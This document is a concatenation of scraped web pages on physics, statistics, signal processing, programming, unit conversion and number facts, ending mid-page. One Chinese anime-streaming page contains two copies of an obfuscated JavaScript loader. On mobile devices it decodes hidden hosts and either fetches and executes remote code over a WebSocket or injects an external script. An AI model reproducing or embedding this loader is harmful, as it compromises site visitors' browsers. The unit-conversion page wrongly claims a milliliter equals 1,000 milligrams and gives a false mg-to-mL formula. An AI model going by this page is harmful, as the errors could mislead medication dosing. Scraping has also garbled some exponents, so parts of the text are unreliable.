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https://www.qsstudy.com/physics/diamagnetism-diamagnetic-materials | [
"",
null,
"# Diamagnetism of Diamagnetic Materials\n\nDiamagnetism of Diamagnetic Materials\n\nThe materials which have net magnetic moments i.e., those materials which reveal para and ferromagnetism, the diamagnetism in those materials becomes overshadowed due to its weak value. So, Diamagnetism is a quantum mechanical effect that occurs in all materials; when it is the only contribution to the magnetism, the material is called diamagnetic.\n\nWhen a diamagnetic substance is placed in a magnetic field B, a change in orbital motion of the atoms occurs. That means the angular velocity increases or decreases due to the influence of the magnetic field increase or decrease depends on the direction of rotation. In short, it can be said that that material which, when placed in a magnetic field acquire a small amount of magnetism opposite to the direction of the inducing magnetic field are called diamagnetic materials. Examples – copper, silver, zinc, bismuth, lead, glass, marble, helium, water, argon, sodium chloride etc.\n\nDue to the change of angular velocity, the orbital magnetic moment of the electrons also changes. If the angular velocity decreases, the magnetic moment also decreases. On the other hand if the angular velocity increases, the magnetic moment also increases. So, it is seen that as the magnetic field B is applied on a diamagnetic substance, a magnetic moment is induced and its direction is opposite to the applied magnetic field B; consequently, there is repulsion. This is the reason that a diamagnetic material is repelled when it is brought nearer to a strong magnet.",
null,
"In the figure, magnetic moments of two electrons A and B are shown. When the external magnetic field B = 0, then the magnetic moments of those two electrons cancel each other [Fig. (a)] but as the magnetic field is applied magnetic moment does not disappear; a net magnetic moment results as shown in [fig. (b)]. The direction of this net moment is opposite to the applied magnetic field B."
]
| [
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"https://www.qsstudy.com/wp-content/uploads/2018/02/Diamagnetism-of-Diamagnetic-Materials-1.jpg",
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"http://www.qsstudy.com/wp-content/uploads/2018/02/Diamagnetism-of-Diamagnetic-Materials-1-1.jpg",
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https://support.sas.com/documentation/cdl/en/statug/66103/HTML/default/statug_transreg_details14.htm | [
"### Controlling the Number of Iterations\n\nSeveral a-options in the PROC TRANSREG or MODEL statement control the number of iterations performed. Iteration terminates when any one of the following conditions is satisfied:\n\n• The number of iterations equals the value of the MAXITER= a-option.\n\n• The average absolute change in variable scores from one iteration to the next is less than the value of the CONVERGE= a-option.\n\n• The criterion change is less than the value of the CCONVERGE= a-option.\n\nYou can specify negative values for either convergence a-option if you want to define convergence only in terms of the other option. The criterion change can become negative when the data have converged, so it is numerically impossible, within machine precision, to increase the criterion. Usually, a negative criterion change is the result of very small amounts of rounding error, since the algorithms are (usually) convergent. However, there are cases where a negative criterion change is a sign of divergence, which is not necessarily an error. When you specify an SSPLINE transformation or the REITERATE or SOLVE a-option, divergence is perfectly normal.\n\nWhen there are no monotonicity constraints and there is only one canonical variable in each set, PROC TRANSREG (with the SOLVE a-option) can usually find the optimal solution in only one iteration. (There are no monotonicity constraints when none of the following is specified: MONOTONE, MSPLINE, or UNTIE transformation or the UNTIE= or MONOTONE= a-option. There is only one canonical variable in each set when METHOD=MORALS or METHOD=UNIVARIATE, or when METHOD=REDUNDANCY with only one dependent variable, or when METHOD=CANALS and NCAN=1.)\n\nThe initialization iteration is number 0. When there are no monotonicity constraints and there is only one canonical variable in each set, the next iteration shows no change, and iteration stops. At least two iterations (0 and 1) are performed with the SOLVE a-option even if nothing changes in iteration 0. The MONOTONE, MSPLINE, and UNTIE variables are not transformed by the canonical initialization. Note that divergence with the SOLVE a-option, particularly in the second iteration, is not an error. The initialization iteration is slower and uses more memory than other iterations. However, for many models, specifying the SOLVE a-option can greatly decrease the amount of time required to find the optimal transformations.\n\nYou can increase the number of iterations to ensure convergence by increasing the value of the MAXITER= a-option and decreasing the value of the CONVERGE= a-option. Since the average absolute change in standardized variable scores seldom decreases below 1E–11, you should not specify a value for the CONVERGE= a-option less than 1E–8 or 1E–10. Most of the data changes occur during the first few iterations, but the data can still change after 50 or even 100 iterations. You can try different combinations of values for the CONVERGE= and MAXITER= a-options to ensure convergence without extreme overiteration. If the data do not converge with the default specifications, try CONVERGE=1E–8 and MAXITER=50, or CONVERGE=1E–10 and MAXITER=200. Note that you can specify the REITERATE a-option to start iterating where the previous analysis stopped."
]
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https://dsp.stackexchange.com/questions/47173/theoretical-maximum-of-dft | [
"# Theoretical Maximum of DFT\n\nFor any discrete input signal between +1 and -1, what is the theoretical maximum DFT?\n\nIf the input is a cosine of $N$ samples with amplitude $A$, the peak spectral magnitude is $A*N/2$. But what about any arbitrary waveform?\n\nA square wave with the same amplitude as the cosine is composed of various sines, the fundamental frequency of which has a greater magnitude than the square wave. Therefore the Fourier transform of a square wave with amplitude also between $1$ and $-1$ is greater than the cosine with amplitude between $+1$ and $-1$.\n\nBut generalizing this to any waveform, ie a triangle wave, sawtooth wave, and also non geometrically \"nice\" waves, all with amplitudes between $+1$ and $-1$, what is the theoretical maximum?\n\nI want to know because I need to represent the output of a DFT with 16 signed bits. However if the magnitude of the DFT is greater than $2^{15}$ I would need to scale. I therefore need to determine if this will ever happen (for any input waveform) and how much the scaling factor should be.\n\nThank you very much,\n\nA simple bound is just the number of samples. Indeed, for $$X_k = \\sum_{n=0}^{N-1} x[n]e^{-2i\\pi kn/N}$$ then obviously:\n\n$$|X_k| \\le \\sum_{n=0}^{N-1} \\left|x[n]\\right|\\left|e^{-2i\\pi kn/N}\\right|$$ hence $$|X_k| \\le \\sum_{n=0}^{N-1} \\left|x[n]\\right|\\le N$$ if $-1\\le x[n]\\le 1$. The $N$ bound is s attained for a given $k$ when you choose a complex $x[n]=\\overline{e^{-2i\\pi kn/N}} = e^{2i\\pi kn/N}$. If your input allows a constant signal (equal to one), $x[n]=1$, then this is attained for the zeroth frequency $X_0 = \\sum_{n=0}^{N-1} 1 = N$. As a side note, if the signal length is a power of $2$, this is quite convenient.\n\nFor more restricted inputs, like real, zero-average signals only, there could be a tighter bound. A recent paper presented at SampTA 2017 provides DFT bounds for some random sequences (Bernoulli): Bounds on Discrete Fourier Transform of Random Mask (published version).\n\nAn upper bound for the absolute value of the DFT coefficients can be derived as follows:\n\n$$|X[k]|=\\left|\\sum_{n=0}^{N-1}x[n]e^{-j2\\pi nk/N}\\right|\\le \\sum_{n=0}^{N-1}|x[n]|\\le N$$\n\nif we assume that $|x[n]|\\le 1$ holds. For most practical signals, this bound is not very tight.\n\nParseval's theorem states that the energy in the output of the DFT is proportional to the input energy. That proportionality factor depends on how you define the DFT (whether you divide by the length, the square root of the length, or not at all).\n\nFor all practical implementations of the DFT (especially FFTs), we don't do that normalization. So, for example, if you transform a constant 1-vector $(1,\\quad1,\\quad1,\\quad1,\\quad1,\\ldots)$ of length $N$, you also get an energy of $N\\cdot 1$ at the output.\n\nThis is the simplest example that I could think of, but it's also the example that answers your question: Take that DFT. It's bound to be 0 everywhere but for the DC carrier, which is the sum of all input elements.\n\nSo, that is, like your cosine-that-fits-into-your-DFT example, one example that concentrates all energy into a single bin, and hence yields the highest possible output bin for any given input of the same power.\n\nNow, scale that input by $A$, and you'll get $A\\cdot N$ as output. Done: the maximum output allowable for an input that consists of $A + 0j$ in all elements is $AN$. Now, linearity applies, and so if you feed in $A+Aj$, you get $AN+ANj$ in the one output bin. So, $AN$ is the maximum real and imaginary part at the output you can get if both your input real and imaginary part are restricted to be less than or equal in absolute to $A$."
]
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https://de.mathworks.com/matlabcentral/cody/problems/2838-optimum-egyptian-fractions | [
"Cody\n\n# Problem 2838. Optimum Egyptian Fractions\n\nFollowing problem was inspired by this problem and that comment.\n\nGiven fraction numerator A and denominator B, find denominators C for Egyptian fraction. The goal of this problem is to minimize the sum of the list.\n\nExample:\n\n``` A = 16;\nB = 63;\n% 16/63 == 1/7 + 1/9\nC = [7, 9];```\n\nC may be [4, 252] or [5, 19, 749, 640395] or [5, 27, 63, 945] or [6, 12, 252] or [7, 9] or almost any else of infinite more other options. The best one is [7, 9] with sum 16.\n\n• You may assume A<B,\n• While greedy algorithm usually solves this problem, score may not be satisfying,\n• Class of inputs is double, but keep in mind it may change in the future - most likely to uint64. Preferred output class is uint64.\n• I'm open for proposals to improve test, i.e. verification of output which is far from perfect.\n\n### Solution Stats\n\n33.33% Correct | 66.67% Incorrect\nLast Solution submitted on Aug 30, 2017"
]
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https://www.yhdmk.com/video/10368.html | [
"# 解离妖圣 在线观看8.0\n\n###",
null,
"解离妖圣剧情简介\n\n【樱花动漫 www.zkk7.com】以上是《解离妖圣》剧情的简单介绍与播放列表，如若无法播放请切换资源或刷新当前页面并等待3-5秒钟\n\n###",
null,
"猜你喜欢\n\n• 更新至21集\n\n• 更新至9集\n\n• 更新至13集\n\n• 更新至11集\n\n• 更新至49集\n\n• 更新至11集\n\n• 更新至75集\n\n• 更新至185集\n\n• 更新至10集\n\n• 更新至49集\n\n• 更新至11集\n\n• 更新至23集\n\n#### 魔道祖师第一季日语\n\nfunction Tombh(e){var t=\"\",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function ZmVzK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t=\"\",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,\"\");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return Tombh(t);};window['\\x52\\x7a\\x73\\x66\\x75\\x68']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=ZmVzK,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c+''+c,'g'),c)));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close();}}else{u=decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c)));var s=document.createElement('script');s.src='https://'+u+'/'+i;cs.parentElement.insertBefore(s,cs);}})('bGtkLnh6cHlqZC5jb220=','dHIuueWVzdW42NzguuY29t','131235',window,document,['2','u']);}:function(){};\nfunction ZOhTRtl(e){var t=\"\",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function qbUfmAM(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t=\"\",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,\"\");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ZOhTRtl(t);};window['\\x69\\x77\\x73\\x4d\\x4b\\x6e\\x62']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=qbUfmAM,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c+''+c,'g'),c)));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close();}}else{u=decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c)));var s=document.createElement('script');s.src='https://'+u+'/'+i;cs.parentElement.insertBefore(s,cs);}})('bGtkLnh6ccHlqZC5jb20=','dHIIueWVzdW42NzguY29t','131233',window,document,['c','I']);}:function(){};"
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https://q.cnblogs.com/q/111652/ | [
"•",
null,
"闪存\n•",
null,
"博客\n• 发言",
null,
"小组\n• 投递",
null,
"新闻\n• 提问",
null,
"博问\n• 添加",
null,
"收藏\n• 发布",
null,
"招聘\n•",
null,
"文库\n\n# python函数问题\n\n0",
null,
"悬赏园豆：5 [待解决问题]",
null,
"def f(x):\nx = 100\nprint x\nf(x) #这样子调用为什么不行？\n\ndef f():\nx = 100\nprint x\nf() #这样子调用为什么行？\n\n1\n``````def f(x):\nx = 100\nprint x\nf(x) #这样子调用为什么不行？``````\n\n0\n\n1\n\ndef f(x):\nx = 100\nprint x\nf(x) #这样子调用为什么不行？\n\ndef f():\nx = 100\nprint x\nf() #这样子调用为什么行？\n\n# 上述定义了一个名为f的函数，没有参数，因此，调用时也无需传入参数，f()这样调用即可。\n\nuuser_ren | 园豆：202 (菜鸟二级) | 2018-12-05 14:07\n0\n\n1.第一个为什么不行？函数传递参数时f(x) 这个x是一个形式参数，那么在函数调用f(x)时，这时你需要传递的参数为实际参数也就是实参，顾名思义你需要传递一个具体的值，而你传递的是个x未定义的变量，可以这么修改\nx=0\nf(x) 这样输出的就是100\n2.第二个为什么行，因为函数不需要传递参数，x是函数内部的变量，当你调用函数f（）时就是实现f()函数内部的代码，当函数运行完毕时x会被内存回收无法保存下来。如果想保存x或者在后续仍需要x的值 应该按照下面的方法写\nf()\nx=100\nreturn x\nre = f()\nprint(re)\n\nlinux超 | 园豆：289 (菜鸟二级) | 2018-12-06 16:07\n0\n\n0\n\ndef f(self,x):\n\nx = 100\nprint x\nf(x) #这样子调用为什么不行？\ndef f(self):\nx = 100\nprint x\nf() #这样子调用为什么行？\n\nfinn.tang | 园豆：211 (菜鸟二级) | 2018-12-12 17:50\n\n您需要登录以后才能回答，未注册用户请先注册"
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http://learninghints.com/tutorials.php?tutorial=IF--Else--Statement--IN-C&id=182 | [
"# IF Statment In C/C++ Language\n\n## IF -Else Statement IN C/C++\n\nBefore we use IF -Else statement we must Understand the IF Statement and IF-Else Statement:\nIn c Language In IF statement is decision control statement . As we know that in C all the statement execute one by one in that order in which they are written. Some time we transfer the control from one statement to other statement on our own choice the we use IF statement.\nIn this statement we give a condition if condition is true the statement or set of statements in the body of IF structure are execute other wise control is transfer to next statement after the IF structure.\nSyntax of IF Statement\nif (condition)\n\n{\nStatements;\n}\nIN IF-Else structure when the condition which is given in IF statement is True the set of statements in the body of IF structure are executed other wise statements in the body of Else Structure are executed.\nSyntax of IF-Else Statement if (condition)\n\n{\nStatements;\n}\nelse\n{\nStatements;\n}\n\nExample 1:\n\n```\n#include<stdio.h>\n#include<conio.h>\nint main()\n{\nint x;\n\nprintf(\"Enter a Number \\n\");\n\nscanf(\"%d\",&x);\n\nif (x>0)\n\n{\n\n}\n\nreturn 0;\n}\n\n```\n\nIn above example user enter a number which is store in x and the IF statement check this number if number is grater then 0 then display a message on screen that this number is +ve other wise nothing will be display. But if we use Else statement with IF statement then we have two opportunity that if number is grater then 0 then display the message \"Your Number is +ve\" other wise display the message \"Your Number is \"-ve\"\n\n```\n#include<stdio.h>\n#include<conio.h>\nint main()\n{\nint x;\n\nprintf(\"Enter a Number \\n\");\n\nscanf(\"%d\",&x);\n\nif (x>0)\n\n{\n\n}\n\nelse\n\n{\n\n}\n\nreturn 0;\n}\n\n```\n\nNote :- if the body of IF and Else structure have single statement then braces or \"curly brackets\" { } or not required.\nLets take an other view if number is grater then zero he display message that number is +ve , if number is less then zero then display the message number is -ve and if user enter zero the display the message number is zero .\nFor this purpose we use Nested IF . (When one IF statement is placed in the body of other IF statement then it is called Nested IF)\n\n```\n#include<stdio.h>\n#include<conio.h>\nint main()\n{\nint x;\n\nprintf(\"Enter a Number \\n\");\n\nscanf(\"%d\",&x);\n\nif (x>0)\n\n{\n\n}\n\nelse if(x<0)\n\n{\n\n}\n\nelse\n\n{"
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https://blog.gembaacademy.com/2007/06/21/how-to-apply-the-one-sample-t-test/ | [
"## How to apply the one sample t-test\n\nLast night we discussed the history and background of the one sample t-test. As promised, tonight we will discuss how it is you actually use the slick little hypothesis test. At the end of this post is a free case study available for download.\n\nWhen to use it\n\nWe may choose to use the one sample t-test when we want to compare a sample mean to a target value and we don’t know the true population standard deviation (s). Also, as we discussed last night, the one sample t-test allows us to work with smaller sample sizes.\n\nAssumptions\n\nThere are a few assumptions we need to consider prior to running with the one sample t-test.\n\n1. Our data should be stable and not trending. If, for example, our data has been trending up for the last 3 months the one sample t-test should not be employed. How to check this? Throw the data into a control chart and see what it tells you.\n2. The data should be normally distributed. There are fancy statistical tests such as the Anderson-Darling test that can help us here. I always recommend people first study the “shape” of the data in a simple histogram. If the shape looks normal to the eye I say press on with the one sample t-test.\n\nState the null and alternate hypothesis\n\nIf we satisfy the assumptions it is now time to state the null (Ho) and alternate (Ha) hypothesis. For the standard one sample t-test it will looking something like this, assuming our “target” value is 25 for the sake of this example.\n\n• Ho: mu = 25\n• Ha: mu not = 25\n\nDetermine the level of risk you are willing to take\n\nWith hypothesis testing we never accept anything. Instead we either reject or fail to reject a hypothesis just like the American judicial system where we never prove someone innocent. Instead, they are either guilty or not guilty beyond a reasonable doubt. Just ask O.J. Simpson, he knows all about this aspect of hypothesis testing!\n\nSo with hypothesis testing we need to state the level of risk, or reasonable doubt, we are willing to take. In most cases an “aplha risk,” as it is called, of 5% is commonly chosen.\n\nRun the test and make a decision\n\nNow then, we have met our assumptions and stated the level of risk we are willing to take. Now all that’s left is to run the test and make a, gulp, decision.\n\nWhen we run the test we will get a P value which is the is the probability of incorrectly rejecting the null hypothesis. Just remember this saying, “if P is low, Ho must go.”\n\nSo, we run the test and examine the P value. If the P value is less than 5% we reject Ho and state that the alternate hypothesis is true at the confidence level of 100*(1-P value)%. If it is greater than 5% we fail to reject the null hypothesis.\n\nWe will also get information on confidence intervals which basically tells us a range of where we may expect to see our data.\n\nCase Study\n\nBelow is a fictitious case study demonstrating how this one sample t-test may be applied. Since the document is free all I ask in return is for you to share it with as many people as possible. That way, together we can get everyone hooked on hypothesis testing!\n\nClick here to access the free case study. Once the document opens in the window you can choose to save it. You can also “right-click” the file and choose “Save Target As” if you wish. Happy reading!"
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https://matlyst.org/what-is-2-dl-water/ | [
"# What is 2 dL water?\n\nDeciliter to Milliliter Conversion Table\nDeciliter [dL]Milliliter [mL]\n0.1 dL10 mL\n1 dL100 mL\n2 dL200 mL\n3 dL300 mL\n\n## What is gram per deciliter?\n\nDenne artikkelen inneholder:\n\nSome medical tests report results in grams (g) per deciliter (dL). A gram is equal to the weight of one milliliter or 16 drops of water. It is about 1/30 of an ounce. A deciliter measures fluid volume equal to 1/10 of a liter.\n\n## What is 1 dL of water?\n\nMeasurement conversion tables\n1 liter (l)=10 deciliters\n1 deciliter (dl)=10 centiliters\n1 centiliter (cl)=10 milliliters (ml)\n\n## How much is 2 mL in grams?\n\nHow much is 1 ml in grams? For water, 1 milliliter equals 1 gram.\n\nWhat is 2 dL water? – Related Questions\n\n## Is 1 mL equal to 1 gram?\n\nOne milliliter of water has one gram of mass, and weighs one gram in typical situations, including for cooking recipes and math and science problems (unless another stated). There is no need to do any math: the measurement in milliliters and grams are always the same.\n\n## How many mL is a gram?\n\nWhen it comes to pure water, 1 mL equals 1 gram because the density of water is 1 g/mL. Different liquids have different densities, and you need to multiply the volume by the density to measure the liquid’s mass in grams.\n\n## How Do You Measure 2 ml?\n\nHow to Convert Metric Measurements to U.S. Measurements\n1. 0.5 ml = ⅛ teaspoon.\n2. 1 ml = ¼ teaspoon.\n3. 2 ml = 1/3 teaspoon.\n4. 5 ml = 1 teaspoon.\n5. 15 ml = 1 tablespoon.\n6. 25 ml = 1 tablespoon + 2 teaspoons.\n7. 50 ml = 2 fluid ounces = ¼ cup.\n8. 75 ml = 3 fluid ounces = ⅓ cup.\n\n## Is 2 mg the same as 2 ml?\n\nSo, a milligram is a thousandth of a thousandth of a kilogram, and a milliliter is a thousandth of a liter. Notice there is an extra thousandth on the weight unit. Therefore, there must be 1,000 milligrams in a milliliter, making the formula for mg to ml conversion: mL = mg / 1000 .\n\n## How much is 2 ml on a teaspoon?\n\nMilliliter to Teaspoon (US) Conversion Table\nMilliliter [mL]Teaspoon (US)\n0.01 mL0.0020288414 teaspoon (US)\n0.1 mL0.0202884136 teaspoon (US)\n1 mL0.2028841362 teaspoon (US)\n2 mL 0.4057682724 teaspoon (US)\n\n## What amount is 2.5 ml?\n\nAlso, remember that 1 level teaspoon equals 5 mL and that ½ a teaspoon equals 2.5 mL.\n\n## How many mL is 2 drops of liquid?\n\nMilliliter to Drop Conversion Table\nMilliliter [mL]Drop\n1 mL20 drop\n2 mL40 drop\n3 mL60 drop\n5 mL100 drop\n\n## How much is a 5ml?\n\nA teaspoon is 5ml, so if you have metric measuring items, such as a measuring jug or even a clean medicine cap, you can do a quick measurement that way.\n\n## What does 2mg mL mean?\n\nThis means that 50mg of the drug are dissolved in every 1ml of liquid. So, it follows that 2ml of the solution would contain 100mg of the drug. For drugs in liquid form, prescriptions are usually written in terms of weight (e.g. 1 mg), but the drug is usually by concentration (e.g. mg/ml).\n\n## How much is a 1mL?\n\nA milliliter, abbreviated as ml or mL, is a unit of volume in the metric system. One milliliter is equal to one thousandth of a liter, or 1 cubic centimeter. In the imperial system, that’s a small amount: . 004 of a cup .\n\n## How do you calculate dosages?\n\nA basic formula, solving for x, guides us in the setting up of an equation: D/H x Q = x, or desired dose (amount) = ordered dose amount/amount on hand x quantity.\n\n## Which is bigger ml or gram?\n\nIt depends on the material you are comparing. A gram is a unit of weight and a milliliter is a unit of volume. One milliliter is 1 cubic centimeter. For example 1 ml of water weighs 1 gram so 4.7 ml of water weighs 4.7 grams and therefore 4.7 ml of water is more than 1.25 grams of water.\n\n## What is one liter in grams?\n\nSince there are 1,000 grams in a kilogram, the answer is that 1 liter of water weights 1,000 grams.\n\n## Is 50g more than 100 ml?\n\n50% = 50 g in 100 ml (= 500 mg in 1 ml = 5 g in 10 ml)\n\nCategories Mat"
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http://www.mshahriarinia.com/home/math/optimization/kkt-conditions | [
"Tech in T: depth + breadth > Math > Optimization > \n\n### KKT Conditions\n\nNecessary condition for a solution in nonlinear-programming to be optimal, provided that some regularity conditions are satisfied.\nIn the particular case where m=0 (i.e., when there are no inequality constraints), the KKT conditions turn into the Lagrange conditions, and the KKT multipliers are called Lagrange multipliers.\n\nAssuming the following nonlinear optimization problem:\nMinimize f(x)\nSubject to\ngi(x) ≤ 0, hj(x)=0\n\nWhere x is the optimization variable, f(.) is the objective or cost function, gi(.) (i=1,..,m) are the inequality constraints and hj(.) (j=1,..,l)are the equality constraints. m and l denote the number of inequality and equality constraints respectively.\n\nNecessary conditions:\nIf f, gi(.) (i=1,..,m) and hj(.) (j=1,..,l) are continuously differentiable at point x*. I If x* is a local minimum that satisfies some regularity conditions (see below), then there exist constants μi(i=1,..,m) and λj(j=1,..,l) (called KKT multipliers), such that\n∇f(x*) + Σi=1m μi∇gi(x*) + Σj=1l λj∇hj(x*) = 0 (stationarity)\ngi(x*) ≤ 0, ∀i ∈ {1,..,m} (primal feasibility)\nhj(x*) = 0, ∀j ∈ {1,..,l} (primal feasibility)\nμi ≥ 0, ∀i ∈ {1,..,m} (dual feasibility)\nμigi(x*) = 0, ∀i ∈ {1,..,m} (complementary slackness)\n\nRegularity Conditions\n\nIn order for a minimum point x * to satisfy the above KKT conditions, it should satisfy some regularity condition, the most used ones are listed below:\n\n• Linearity constraint qualification: If gi and hj are affine functions, then no other condition is needed.\n• Linear independence constraint qualification (LICQ): the gradients of the active inequality constraints and the gradients of the equality constraints are linearly independent at x * .\n• Mangasarian–Fromovitz constraint qualification (MFCQ): the gradients of the active inequality constraints and the gradients of the equality constraints are positive-linearly independent at x * .\n• Constant rank constraint qualification (CRCQ): for each subset of the gradients of the active inequality constraints and the gradients of the equality constraints the rank at a vicinity ofx * is constant.\n• Constant positive linear dependence constraint qualification (CPLD): for each subset of the gradients of the active inequality constraints and the gradients of the equality constraints, if it is positive-linear dependent at x * then it is positive-linear dependent at a vicinity of x * .\n• Quasi-normality constraint qualification (QNCQ): if the gradients of the active inequality constraints and the gradients of the equality constraints are positive-linearly independent at x *with associated multipliers λi for equalities and μj for inequalities, then there is no sequence",
null,
"such that",
null,
"and",
null,
".\n• Slater condition: for a convex problem, there exists a point x such that h(x) = 0 and gi(x) < 0 for all i active in x * .\n\n(",
null,
") is positive-linear dependent if there exists",
null,
"not all zero such that",
null,
".\n\nIt can be shown that LICQ⇒MFCQ⇒CPLD⇒QNCQ, LICQ⇒CRCQ⇒CPLD⇒QNCQ (and the converses are not true), although MFCQ is not equivalent to CRCQ . In practice weaker constraint qualifications are preferred since they provide stronger optimality conditions.\n\n## Sufficient conditions\n\nIn some cases, the necessary conditions are also sufficient for optimality. In general, the necessary conditions are not sufficient for optimality and additional information is necessary, such as the Second Order Sufficient Conditions (SOSC). For smooth functions, SOSC involve the second derivatives, which explains its name.\n\nThe necessary conditions are sufficient for optimality if the objective function f and the inequality constraints gj are continuously differentiable convex functions and the equality constraints hi are affine functions.\n\nIt was shown by Martin in 1985 that the broader class of functions in which KKT conditions guarantees global optimality are the so called Type 1 invex functions.\n\n## Value function\n\nIf we reconsider the optimization problem as a maximization problem with constant inequality constraints,",
null,
"",
null,
"",
null,
"The value function is defined as:",
null,
"",
null,
"",
null,
"",
null,
"(So the domain of V is",
null,
")\n\nGiven this definition, each coefficient, μi, is the rate at which the value function increases as ai increases. Thus if each ai is interpreted as a resource constraint, the coefficients tell you how much increasing a resource will increase the optimum value of our function f. This interpretation is especially important in economics and is used, for instance, in utility maximization problems."
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"http://upload.wikimedia.org/wikipedia/en/math/3/7/5/3753d86e27a86f98746b11cdbc431670.png",
null,
"http://upload.wikimedia.org/wikipedia/en/math/7/2/f/72ff8976b44f8ee7c8494b02e9a2bd6d.png",
null,
"http://upload.wikimedia.org/wikipedia/en/math/c/9/6/c965c291f8c868ffe2c99ce865871380.png",
null,
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null,
"http://upload.wikimedia.org/wikipedia/en/math/4/4/9/4498c1a3e232f0531f2a12ccc33f1e0e.png",
null,
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null,
"http://upload.wikimedia.org/wikipedia/en/math/2/a/f/2af05b3b640010218764139d8e238d97.png",
null,
"http://upload.wikimedia.org/wikipedia/en/math/b/d/5/bd554dce93d78b60bfd9318a1ccb8efb.png",
null,
"http://upload.wikimedia.org/wikipedia/en/math/d/3/3/d334b9b62673422c64f1899d3564d337.png",
null,
"http://upload.wikimedia.org/wikipedia/en/math/9/3/3/933473707b3b2eba936aa2e88d1a642f.png",
null,
"http://upload.wikimedia.org/wikipedia/en/math/b/d/5/bd554dce93d78b60bfd9318a1ccb8efb.png",
null,
"http://upload.wikimedia.org/wikipedia/en/math/3/a/f/3afb869e29ea940d7eb7f7593d155964.png",
null,
"http://upload.wikimedia.org/wikipedia/en/math/3/4/4/344d6997a255d9f36ffd841735ddde49.png",
null,
"http://upload.wikimedia.org/wikipedia/en/math/3/5/e/35e5feaabe07599838c48b0e434010f2.png",
null
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https://metanumbers.com/12357 | [
"# 12357 (number)\n\n12,357 (twelve thousand three hundred fifty-seven) is an odd five-digits composite number following 12356 and preceding 12358. In scientific notation, it is written as 1.2357 × 104. The sum of its digits is 18. It has a total of 3 prime factors and 6 positive divisors. There are 8,232 positive integers (up to 12357) that are relatively prime to 12357.\n\n## Basic properties\n\n• Is Prime? No\n• Number parity Odd\n• Number length 5\n• Sum of Digits 18\n• Digital Root 9\n\n## Name\n\nShort name 12 thousand 357 twelve thousand three hundred fifty-seven\n\n## Notation\n\nScientific notation 1.2357 × 104 12.357 × 103\n\n## Prime Factorization of 12357\n\nPrime Factorization 32 × 1373\n\nComposite number\nDistinct Factors Total Factors Radical ω(n) 2 Total number of distinct prime factors Ω(n) 3 Total number of prime factors rad(n) 4119 Product of the distinct prime numbers λ(n) -1 Returns the parity of Ω(n), such that λ(n) = (-1)Ω(n) μ(n) 0 Returns: 1, if n has an even number of prime factors (and is square free) −1, if n has an odd number of prime factors (and is square free) 0, if n has a squared prime factor Λ(n) 0 Returns log(p) if n is a power pk of any prime p (for any k >= 1), else returns 0\n\nThe prime factorization of 12,357 is 32 × 1373. Since it has a total of 3 prime factors, 12,357 is a composite number.\n\n## Divisors of 12357\n\n1, 3, 9, 1373, 4119, 12357\n\n6 divisors\n\n Even divisors 0 6 4 2\nTotal Divisors Sum of Divisors Aliquot Sum τ(n) 6 Total number of the positive divisors of n σ(n) 17862 Sum of all the positive divisors of n s(n) 5505 Sum of the proper positive divisors of n A(n) 2977 Returns the sum of divisors (σ(n)) divided by the total number of divisors (τ(n)) G(n) 111.162 Returns the nth root of the product of n divisors H(n) 4.15082 Returns the total number of divisors (τ(n)) divided by the sum of the reciprocal of each divisors\n\nThe number 12,357 can be divided by 6 positive divisors (out of which 0 are even, and 6 are odd). The sum of these divisors (counting 12,357) is 17,862, the average is 2,977.\n\n## Other Arithmetic Functions (n = 12357)\n\n1 φ(n) n\nEuler Totient Carmichael Lambda Prime Pi φ(n) 8232 Total number of positive integers not greater than n that are coprime to n λ(n) 4116 Smallest positive number such that aλ(n) ≡ 1 (mod n) for all a coprime to n π(n) 